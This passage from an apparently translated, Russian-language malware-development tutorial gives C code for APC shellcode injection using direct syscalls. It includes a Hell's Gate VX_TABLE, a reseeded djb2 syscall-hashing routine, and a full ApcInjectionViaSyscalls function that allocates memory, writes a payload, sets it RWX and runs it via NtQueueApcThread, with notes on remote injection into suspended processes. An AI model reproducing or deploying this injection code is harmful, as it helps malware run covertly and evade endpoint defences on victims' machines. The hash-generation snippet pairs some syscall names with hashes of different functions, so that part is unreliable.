printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
//--------------------------------------------------------------------------
// Выполнение полезной нагрузки с помощью NtQueueApcThread
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Payload At 0x%p Using Thread Of Id : %d ... ", pAddress, GetThreadId(hThread));
if ((STATUS = NtQueueApcThread(hThread, pAddress, NULL, NULL, NULL)) != 0) {
printf("[!] NtQueueApcThread Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
return TRUE;
}
Реализация с использованием Hell's Gate
Последняя реализация для этого модуля использует Hell's Gate. Сначала убедитесь, что здесь выполняются те же шаги, что и для настройки проекта Visual Studio с SysWhispers3. В частности, включение MASM и изменение свойств для компиляции файла ASM с использованием Microsoft Macro Assembler.
Обновление структуры VX_TABLE
C:
typedef struct _VX_TABLE {
VX_TABLE_ENTRY NtAllocateVirtualMemory;
VX_TABLE_ENTRY NtWriteVirtualMemory;
VX_TABLE_ENTRY NtProtectVirtualMemory;
VX_TABLE_ENTRY NtQueueApcThread;
} VX_TABLE, * PVX_TABLE;
Обновление значения начального числа (seed)
Для
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
начального числа будет использоваться новое значение, чтобы изменить хэш-значения системных вызовов. Функция хеширования djb2 обновляется новым значением начального числа, как показано ниже.
C:
DWORD64 djb2(PBYTE str) {
DWORD64 dwHash = 0x77347734DEADBEEF; // Old value: 0x7734773477347734
INT c;
while (c = *str++)
dwHash = ((dwHash << 0x5) + dwHash) + c;
return dwHash;
}
Следующие операторы printf должны быть добавлены в новый проект для генерации хэш-значений djb2 (По аналогии с примерами выше, напишите консольную программу).
C:
printf("#define %s%s 0x%p \n", "NtAllocateVirtualMemory", "_djb2", (DWORD64)djb2("NtCreateSection"));
printf("#define %s%s 0x%p \n", "NtWriteVirtualMemory", "_djb2", djb2("NtMapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtProtectVirtualMemory", "_djb2", djb2("NtUnmapViewOfSection"));
printf("#define %s%s 0x%p \n", "NtQueueApcThread", "_djb2", djb2("NtClose"));
printf("#define %s%s 0x%p \n", "NtCreateThreadEx", "_djb2", djb2("NtCreateThreadEx"));
После генерации значений добавьте их в начало проекта Hell's Gate.
Код:
#define NtAllocateVirtualMemory_djb2 0x7B2D1D431C81F5F6
#define NtWriteVirtualMemory_djb2 0x54AEE238645CCA7C
#define NtProtectVirtualMemory_djb2 0xA0DCC2851566E832
#define NtQueueApcThread_djb2 0x331E6B6B7E696022
Функция ApcInjectionViaSyscalls
Код:
BOOL ApcInjectionViaSyscalls(IN PVX_TABLE pVxTable, IN HANDLE hProcess, IN HANDLE hThread, IN PBYTE pPayload, IN SIZE_T sPayloadSize) {
Syscall St = { 0 };
NTSTATUS STATUS = NULL;
PVOID pAddress = NULL;
ULONG uOldProtection = NULL;
SIZE_T sSize = sPayloadSize,
sNumberOfBytesWritten = NULL;
// Allocating memory
HellsGate(pVxTable->NtAllocateVirtualMemory.wSystemCall);
if ((STATUS = HellDescent(hProcess, &pAddress, 0, &sSize, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE)) != 0) {
printf("[!] NtAllocateVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] Allocated Address At : 0x%p Of Size : %d \n", pAddress, sSize);
//--------------------------------------------------------------------------
// Writing the payload
printf("[#] Press <Enter> To Write The Payload ... ");
getchar();
printf("\t[i] Writing Payload Of Size %d ... ", sPayloadSize);
HellsGate(pVxTable->NtWriteVirtualMemory.wSystemCall);
if ((STATUS = HellDescent(hProcess, pAddress, pPayload, sPayloadSize, &sNumberOfBytesWritten)) != 0 || sNumberOfBytesWritten != sPayloadSize) {
printf("[!] pNtWriteVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
printf("[i] Bytes Written : %d of %d \n", sNumberOfBytesWritten, sPayloadSize);
return FALSE;
}
printf("[+] DONE \n");
//--------------------------------------------------------------------------
// Changing the memory's permissions to RWX
HellsGate(pVxTable->NtProtectVirtualMemory.wSystemCall);
if ((STATUS = HellDescent(hProcess, &pAddress, &sPayloadSize, PAGE_EXECUTE_READWRITE, &uOldProtection)) != 0) {
printf("[!] NtProtectVirtualMemory Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
//--------------------------------------------------------------------------
// Executing the payload via NtQueueApcThread
printf("[#] Press <Enter> To Run The Payload ... ");
getchar();
printf("\t[i] Running Payload At 0x%p Using Thread Of Id : %d ... ", pAddress, GetThreadId(hThread));
HellsGate(pVxTable->NtQueueApcThread.wSystemCall);
if ((STATUS = HellDescent(hThread, pAddress, NULL, NULL, NULL)) != 0) {
printf("[!] NtQueueApcThread Failed With Error : 0x%0.8X \n", STATUS);
return FALSE;
}
printf("[+] DONE \n");
return TRUE;
}
Удаленная инъекция
Возможно использовать функцию ApcInjectionViaSyscalls для удаленной инъекции в процесс, но для этого необходимо создать приостановленный процесс. Этот подход обсуждался здесь
Обновление основной функции
Основную функцию (
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
) необходимо обновить для использования функции ApcInjectionViaSyscalls
Вы должны зарегистрироваться, чтобы увидеть внешние ссылки
Демонстрация
Использование реализации с использованием SysWhispers.
Использование Hell's Gate
Последнее редактирование: